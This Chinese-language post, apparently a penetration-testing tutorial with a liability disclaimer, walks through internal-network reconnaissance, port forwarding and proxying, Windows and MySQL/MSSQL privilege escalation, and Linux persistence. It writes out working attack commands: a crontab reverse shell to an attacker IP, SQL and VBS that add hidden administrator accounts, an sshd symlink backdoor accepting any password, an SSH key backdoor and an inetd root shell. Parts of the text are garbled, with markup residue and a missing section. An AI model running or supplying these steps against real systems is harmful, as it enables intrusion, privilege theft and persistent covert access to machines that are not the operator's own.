- [b]免责声明[/b][p=null, 2, left][color=rgb(0, 0, 0)][size=15px]本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。[/size][/color][/p][b]文章正文[/b][align=left][color=rgb(63, 63, 63)][font=-apple-system-font, BlinkMacSystemFont, "][size=14px]外网进内网通常就是通过web漏洞拿取shell[/size][/font][/color][/align][align=left][color=rgb(63, 63, 63)][font=-apple-system-font, BlinkMacSystemFont, "][size=14px]内网的很大一部分信息收集是围绕网络拓扑图展开的。可以社工运维或者google找一下。[/size][/font][/color][/align][b]内网扩散信息收集[/b][align=left][color=rgb(63, 63, 63)][font=-apple-system-font, BlinkMacSystemFont, "][size=14px]概述[/size][/font][/color][/align][list]
- [*][align=left]• 内网信息收集[/align]
- [list]
- [*][align=left]• 内网网端信息:对内网进行拓扑、分区[/align]
- [*][align=left]• 内网大小[/align]
- [/list][*][align=left]• 内网核心业务信息[/align]
- [list]
- [*][align=left]• oa系统、邮件服务器、监控系统....[/align]
- [/list][*][align=left]• 其他[/align]
- [list]
- [*][align=left]• Windows、linux主机信息收集[/align]
- [/list][/list][align=left][color=rgb(63, 63, 63)][font=-apple-system-font, BlinkMacSystemFont, "][size=14px]内网信息收集做的越好,打的越快[/size][/font][/color][/align][list]
- [*][align=left]• 常用方法[/align]
- [list=1]
- [*][align=left]1. 主动扫描。常用工具: nmap,netdiscover,nc,masscan,自写脚本等[/align]
- [*][align=left]2. 常用端口和服务探测[/align]
- [*][align=left]3. 内网拓扑架构分析。如dmz,测试网等[/align]
- [*][align=left]4. 命令收集[/align]
- [*][align=left]5. 本机信息[/align]
- [/list][/list]
- [code]nmap的流量很大。因为nmap用了很多方式进行扫描,准确率高的同时流量较大,外网可以用
- 主动扫描留下的痕迹很多且较难清楚。被动扫描需要的时间较长。视情况扫描
复制代码
一般都是先扫80端口等。因为外网网站可能做的很好,内网网站烂的爆,sql注入、xss等web漏洞一把一把的。 主动扫描1. ping命令扫描内网中的存活主机 * 优点:方便,一般不会引起流量检测设备的报警 * 缺点:扫描速度慢,目标开了防火墙会导致结果不准 2. nmap扫描存活主机(icmp扫描) * nmap -sn -PE -n -v -oN 1.txt 目标ip * 参数:-sn 不进行端口扫描;-PE 进行icmp echo扫描;-n 不进行反向解析;-v 输出调试信息;-oN输出 3. nmap 扫描存活主机(arp扫描) * nmap -sn -PR -n -v 目标IP * 参数:-PR代表arp扫描,在内网中arp扫描速度最快且准确率高 4. 使用netdiscover扫描(arp扫描工具,既可以主动扫描也可以被动嗅探) * netdiscover -i eth0 -r 目标IP *
* 参数说明:-i:指定一个接口;-r∶指定扫描范围
5. 用nbtscan工具进行快速扫描存活PC端,同时获得NETBIOS(windows往上输入输出服务,139端口) * nbtscan -r 目标IP * - 端口和服务扫描
1. 探测目标开放端口 - * nmap探测:`nmap -Pn -n 目标IP`(禁ping扫描)
- * masscan扫描:`masscan -p 端口号 目标IP地址 --rate=10000` #用10kpps速度扫描端口
- * ![](http://res.cloudinary.com/dlpjunxds/image/upload/liFDVtCRf91uL4Hy)
复制代码
1. 探测目标操作系统 - * 使用NSE脚本: `nmap --script smb-os-discovery.nse -p 445 目标IP地址`
- * 其中: smb-os-discovery.nse脚本通过smb来探测操作系统版本、计算机名、工作组名、域名等等信息。--script指定脚本
- * ![](http://res.cloudinary.com/dlpjunxds/image/upload/DQfnaY1lg46w70pG)
- * 使用nmap -O探测操作系统版本
复制代码
nmap -O 目标IP
模块使用
post/linux/gather/checkvm判断目标主机是否为虚拟机
post/linux/gather/enum_configs查看配置信息
post/linux/gather/enum_network查看网络
post/linux/gather/enum_protections查看共享
post/linux/gather/enum_system查看系统和用户信息
post/linux/gather/enum_users_histroy查看目标主机最近的操作
post/linux/gather/hashdump获取linux的hash
但是我仍要强调,被动收集很重要,内网被动收集要安全很多,但是周期很长。主动一分,就危险一分 收集内容总结网卡信息、arp缓存、路由缓存、网站配置文件、数据库、访问日志、浏览器历史记录、netstat、hosts文件、history、hash、明文密码、网站配置账密、wifi、cmdkey 内网转发• 内网转发的目的 [size=1em]理论上通过网络连接的计算机都是可以互相访问的,但是因为技术原因没有实现。如局域网中某计算机仅开放web服务,则只能内网使用,外网无法直接访问。要让外网用户直接访问局域网服务,必须进行内网转发等操作
[size=1em]windows端口转发实例
环境︰内网主机不能访问外网,但是可以访问同网段的内网机器,同时80端口只能本地访问,但是8080端口对外开放。
[size=1em]步骤一:被控服务器的80端口转发到本地的8080端口 lcx -tran 8080 127.0.0.1 80
步骤二∶在内网被控服务器上连接内网能够对外访问的服务器 lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步骤三∶在能够对外访问的内网机器上监听端口 lcx -listen 4444 12345
步骤四∶外网机器访问192.168.56.1的12345端口也就是从 服务器12345- >服务器4444->外网8080->内网80
在外网192.168.64.230访问192.168.64.103:12345
linux下:用法: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
v:version [size=1em]-m:指定method action参数
method=1:监听port1连接至主机2的port2(端口映射)
method=2:监听Port1转发至port2
method=3:连接主机1对应的端口和主机2对应的端口(端口转发)
如:./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777//监听来自6666端口的请求并转发至7777 frpfrp用处 下载后frp文件内frps,frps.ini为服务端程序和配置文件,frpc,frpc.ini是客户端程序及配置文件 [size=1em]修改frp.ini
文件格式: [size=1em][common]
[size=1em]bind_port = 7000 #frp服务器监听㐰
[size=1em]dashboard_port = 7500 #web后台监听端口
[size=1em]dashboard_user =admin #web后台用户名及密码
[size=1em]dashboard_pwd = admin
[size=1em]token = 123456 #客户端和服务器的连接口令
[size=1em]运行frps服务器端 ./frps -c frps.ini #-c意思是加载配置文件
访问x.x.x.x:7500,使用自己设置的用户名和密码登录
[size=1em]修改frpc.ini文件
[size=1em][common]
[size=1em]server_addr = 192.168.152.217
[size=1em]#服务端IP地址
[size=1em]server_port = 7000
[size=1em]#服务器端口
[size=1em]token = 123456
[size=1em]#服务器上设置的连接口令
[size=1em][http]
[size=1em]#自定义规则,[xxx]表示规则名
[size=1em]type = tcp
[size=1em]#type:转发的协议类型
[size=1em]local_ip = 127.0.0.1
[size=1em]local_port = 3389
[size=1em]#本地应用的端口号
[size=1em]remote_port = 7001
[size=1em]#这条规则在服务端开放的端口号
[size=1em]配置完成frp.ini后,cmd运行frpc(和服务端一样-c指定配置文件)
在局域网外客户端连接服务端的remote_port端口
该工具可跨平台,也就是windows exe程序连接linux
上述操作也就 相当于listen 7000转到7001 然后连接 metasploit portfwd[size=1em]选项
-L∶要监听的本地主机(可选).
-l : 要监听的本地端口,与此端口的连接将被转发到远程系统·
-p∶要连接的远程端口,TCP连接将转发到的端口
-r∶要连接的远程主机的IP地址
参数
Add :该参数用于 创建 转发
portfwd add -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
Delete :这将从转发端口列表中删除 先前的 条目.
portfwd delete -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
List : 列出 当前转发的所有端口
portfwd list
Flush :这将删除转发列表中的 所有 端口
这个不太稳定,不如frp,lcx不怎么用了。 边界代理代理类别:HTTP代理、socks代理、telnet代理、ssl代理
代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux) 内网通过代理连接外部网络为正向代理,外网通过代理连接内网为反向代理。
负载均衡服务器:将用户的请求分发到空闲服务器上。 代理端口转发
需要socks协议支持无需协议支持
一对多,访问网络一对一,帮助他人访问某端口socks代理可以理解为lcx端口转发,他在服务端监听一个服务端口,有连接请求时会从socks协议中解析出访问目标url的目标端口 意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。 proxychainsregeorg工具• regeorg主要是把内网服务器端口通过http/https隧道转发至本机,形成回路 • 用于目标服务器在 内网或做了端口策略 的情况下连接目标服务器内部开放端口 • 利用webshell建立一个socks代理进行内网穿透,则服务器必须支持aspx\php\jsp中的一种 • regeorg分为服务端和客户端。 服务端有php\aspx\jsp\node.js等多种,客户端为python ,所以用的时候文件里面找对应脚本
regeorg使用和proxychains结合使用 1. pip install安装 2. 假设服务器是php版本,将regeorg里的php上传到服务器,直接访问显示"georg says,'all seems fine'",为正常运行
3. 终端下运行:python reGeorgSocksProxy.py -u 靶机reGeorg脚本地址 -p 本地监听端口 4. 再起一个终端修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行socks5 127.0.0.1 本地监听端口,并把其他的注释
代理就配置好了 但是在msf外配置的代理,msf内部流量是不会走代理过的 msf route[color=rgba(0, 0, 0, 0.9)]msf框架中自带路由转发功能,在已经获取meterpreter shell的基础上添加一条去往内网的路由
[color=rgba(0, 0, 0, 0.9)] 路由添加: run autoroute -s 内网网端
run autoroute -p 查看路由添加情况 proxifilerproxifiler为windows客户端代理工具, socks5客户端 ,可以让不支持通过代理服务器工作的程序通过https或socks5代理或代理链 (但是个人在用shadowsocks...dddd) 提权可以有好几种,本篇主要讲利用系统漏洞提权(最常规)和利用数据库提权。数据库这种利用第三方提权的方式通常比较少见 windows权限提升当我们getshell一个网站后,大部分情况下我们的权限是非常低的,这个时候提权可以让我们如拥有修改文件之类的强大能力。 一般来说,提权通常是改变用户 [size=1em]windows: user -> system user->administrator
linux: user->root
• 提权的方式通常有: • 系统漏洞提权 • 数据库提权 • 第三方软件/服务提权 • 系统配置错误提权
如果目的是download服务器文件或者拿下webshell等没必要提权,如果是为了做肉鸡或者上远控 系统漏洞提权常规流程: 获得目标机shell- >查看目标机补丁记录->判断没打的补丁,寻找EXP->利用exp提权 1. cmd中systeminfo查看补丁安装情况 3. 将systeminfo命令得到的补丁信息复制进去,就会给出可用的exp编号 5. 将exp上传至目标机 6. 每个EXP的使用方法不同。如ms14-058上传了exp到靶机后在cmd使用exp.exe "命令"就能以system权限执行命令。其他exp的使用方法很可能不同 7. 获得了高权限在当前网络环境切忌开3389去连,可以用msfvenom生成木马维权,或者创建新用户加入管理员组。不过都会被发现。。 8. 靶机上在运行msf木马时要用高权限运行,否则反弹回来的shell也是低权限。所以要用之前传上去的exp运行msf木马
windows数据库提权这种提权方式已经用的很少了 mysql数据库提权mysql提权的必要条件:获取Mysql数据库最高权限 root 的账号密码 [size=1em]获取方法:
mysql的三种提权方式: MOF提权• 原理:利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件。该文件每几秒会 执行 一次,向其中写入 cmd命令 使其被执行 • 利用条件 • windows<= 2003 • 对c:/windows/system32/wbem/mof/目录有读写权限 • 可以时间写mof文件到相应目录,如:数据库允许外联,有webshell,有可写sql注入
因为需要有写文件权限(into outfile),所以可用到的环境很少 [color=rgba(0, 0, 0, 0.9)] [size=1em]nullevt.mof文件的内容
[size=1em] - UDF提权
[size=1em]mysql版本对应的udf.dll导出路径: 数据库版本操作系统udf.dll导出路径
<5.0所有操作系统路径随意
<=5.1windows2003c:\windows\system32\udf.dll
<=5.1windows2000c:\winnt\system32\udf.dll[size=1em]5.1 | 所有操作系统 | mysql 安装目录下的lib\plugin\udf.dll
[size=1em]mysql安装目录查询语句: select @@basedir
• udf 提权步骤 • select user();\version();\basedir()判断数据库版本、用户和安装目录 • 如果\lib\plugin目录不存在,可以利用NTFS ADS流创建文件夹
select 'xxx' into dumpfile 'mysql目录\\lib INDEX_ALLOCATION';
select 'xxx' into dumpfile 'mysql目录\\lib\plugin INDEX_ALLOCATION';
或者是webshell直接创建 • 导入udf.dll文件。该文件在sqlmap/data/udf/mysql/目录下有,只是该dll文件是通过异或编码的,可以使用sqlmap/extra/cloak.py解密。 • 上传udf.dll到指定目录。有webshell就直接传,传不了就select load_file()。 • 创建自定义函数。create function **sys_eval** returns string soname 'udf.dll';
必须要创建.dll文件中存在的函数才行,可以用十六进制编辑器打开udf.dll文件慢慢找函数,也可以用dumpbin.exe查看。soname指向动态链接库 • 执行高权限指令:select sys_eval('whoami');
将该用户提升为管理员权限:select sys_eval("net localgroup administrators ichunqiu /add") • 清除痕迹
drop function sys_eval;
delete from mysql.func where name="sys_eval";
启动项提权vbs提权脚本: - set wsnetwork=CreateObject("WSCRIPT.NETWORK")
- os="WinNT://"&wsnetwork.ComputerName
- Set ob=GetObject(os) #得到adsi接口
- Set oe=GetObject(os&"/Administrators,group") #用户组
- Set od=ob.Create("user","name") #name为用户名
- od.SetPassword "passwd" #passwd为密码
- od.SetInfo #保存
- Set of=GetObject(os&"/name",user) #得到用户
- oe.add os&"/name"
复制代码
• sql命令创建 • 连接到对方MySQL服务器,进入后查看数据库中有哪些数据表 • 命令:show tables • 默认的情况下,test中没有任何表的存在。 • 进入test数据库,并创建一个新的表:
create table a(cmd text)//创建了一个新的表,名为a,表中只存放了一个字段,字段名为cmd,为text文本 • 在表中插入内容,用这三条命令来建立一个VBS的脚本程序:
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user name passwd /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators name /add"",0)"); sql server提权在windows,sa账号通常是被降权为db-owner的。而不是sysadmin xp_cmdshell提权• xp_cmdshell: • 存储过程:是存储在SQLServer中预先定义好的"sql语言集合",使用T-SQL语言编写好的脚本共同组成的集合体为存储过程 • xp_cmdshell脚本:扩展存储过程的脚本,是危险性最高的脚本,可以执行操作系统的任何指令 • xp_cmdshell在mssql2000中是默认开启的,在mssql2005后的版本中默认禁止。如果用户具有sa权限可以用sp_configure重新开启
xp_cmdshell提权过程:
(2005以前的版本): 1. 连接数据库:
select ame from master.dbo.sysdatabases获取所有的数据库名 2. 查看当前版本select @@version
判断当前是否为saselect is_srvrolemember('sysadmin')
判断是否有public权限select is_srvrolemember('public')
判断是否有读写文件权限select is_srvrolemember('db_owner') 3. 查看数据库中是否有xp_cmdshell扩展存储插件,return 1则有
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
(2005后的版本): net user test$ /del`
>> 2. 导入注册表
> 双击导出的两个注册表
>>
影子账户试了一下,还是很牛逼的。
## linux后门
* 计划任务后门(crontab后门)
> crontab命令介绍
>
> ![](http://res.cloudinary.com/dlpjunxds/image/upload/JApFmbuGhkVri0n2)
>
> * crontab命令用来管理用户需要周期执行的任务。等于windows计划任务。crond进程每分钟会定期检查是否有要执行的任务,如果有则自动执行
> 通常在计划任务中添加后门,或者替换服务进程,以及反弹shell
>
> * 反弹shell
>
>
>
>> 1. 攻击机监听`nc -lvvp 本地端口号`、
>> 2. 目标机中设置计划任务`crontab -e`
> 下列代码表示每分钟反弹一次shell到攻击机
> `*/1 * * * * bash -i >& /dev/tcp/攻击机外网ip/攻击机端口 0>&1`
>>
* ssh公钥免密(常用)
将客户端生成的ssh公钥写道目标服务器的 ~/.ssh/authorized_keys中,之后客户端利用私钥完成认证即可登录。该后门易被发现
> 制作过程
>
>> 1. 在攻击机上生成公钥私钥对
> `ssh-keygen -t rsa`
>>
>>
>>> 在中途会让输入密钥对密码,如果需要免密登录则回车跳过
>>
>> 1. 将攻击机.ssh目录下的id_rsa.pub复制到目标服务器的`/root/.ssh/authorized_key`文件里
> `scp ~/.ssh/id_rsa.pub root@目标服务器IP地址:/root/.ssh/authorized_keys`
>
> ![](http://res.cloudinary.com/dlpjunxds/image/upload/05TycX23RWO6hEbP)
>>
>> 2. 在目标服务器中,将authorized_keys权限改为600
> `chmod 600 /root/.ssh/authorized.keys`
>>
>> 3. 尝试免密登录
>>
详情请见ssh登录详解
* ssh软连接后门
非常经典的后门,直接对sshd建立软连接,之后就能用任意密码登录
> 软连接后门的原理是利用了 **PAM配置** 文件的作用,将sshd文件软连接名称设置为su,这样应用在 **启动**
> 过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息,su在pam_rootok检测uid 0即认证成功,也可以使用/
> **etc/pam.d中存在** 的其他软连接名字
特点:1. 隐蔽性弱,rookit hunter这类防护脚本可以轻松扫到
1. 本地查看端口会暴露
2. 能绕过一些流量监控
> 制作过程
>
>> 1. 创建软连接 `ln -sf /usr/sbin/sshd /tmp/su`
>> 2. 设置监听端口。因为本地查看端口容易暴露,建议设置8080,8081伪装 `/tmp/su -o Port=8080`
> 运行/tmp/su就等于运行/usr/sbin/sshd,连不上可以nmap扫一下,有防火墙连不上
>>
* inetd/xinetd后门(很老很老)
监听外部网络请求(socket)的系统守护进程
**具体工作过程** :当inetd收到一个外部请求后,会到配置文件中找到实际处理它的程序,在把socket交给那个程序处理
> inetd后门制作
>
>> 1. 向/etc/inetd.conf文件中加入一行:`daytime stream tcp nowait root /bin/bash bash
-i`
>> 2. 开启inet后用nc连接:`nc -lvvp 目标ip 13`
>>
还有prism后门等在服务器安装软件的,极易被发现[/code]
|